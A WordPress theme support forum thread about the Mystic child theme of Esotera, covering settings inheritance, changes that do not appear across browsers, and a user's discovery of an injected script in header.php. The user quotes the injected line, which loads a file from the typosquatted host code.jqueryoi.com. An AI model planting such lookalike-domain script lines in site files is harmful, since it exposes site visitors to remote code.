November 27th, 2021 at 15:35 #124015Nina IsabellaPower User
If I try out Mystic, but then decide that I don’t like it and delete it again, will it change my Esotera settings?December 18th, 2021 at 23:03 #124597
Mystic is a child theme so it inherits all its settings from the parent theme, Esotera. Any configuration changes you do while the child theme is active are actually performed directly to the parent theme’s options so they will remain even if you disable the child theme.February 14th, 2022 at 21:48 #126523
I am trying to customize Mystic on my WordPress using Chrome – but the changes that I make do not show up on my mobile, my Firefox, or even my incognito Chrome. The same Chrome does show them. What am I doing wrong?
Would appreciate any pointers. thanks.
Website: rohitchandra.comFebruary 20th, 2022 at 02:42 #126685
I hope you’ve seen my reply to your comment.
The legitimate domain is jqueryui.comMarch 2nd, 2022 at 03:36 #126999
Thanks for pointing this out. The offending line of code
<script>var pm_pid = “20724-69651475”;</script>//code.jqueryoi.com/js/pub.min.js
was actually found in wp-content/themes/esotera/header.php file.
I have deleted the entire line including the pm_pid. Pls let me know if this needs to remain. Thanks for your help.April 27th, 2022 at 18:45 #128960
Site exploits usually target specific files that are always there (such as a header.php file in each subfolder of the themes/ folder). I suggest investigating how that line of code got there, as it may return as soon as the exploit/vulnerability is targeted again.
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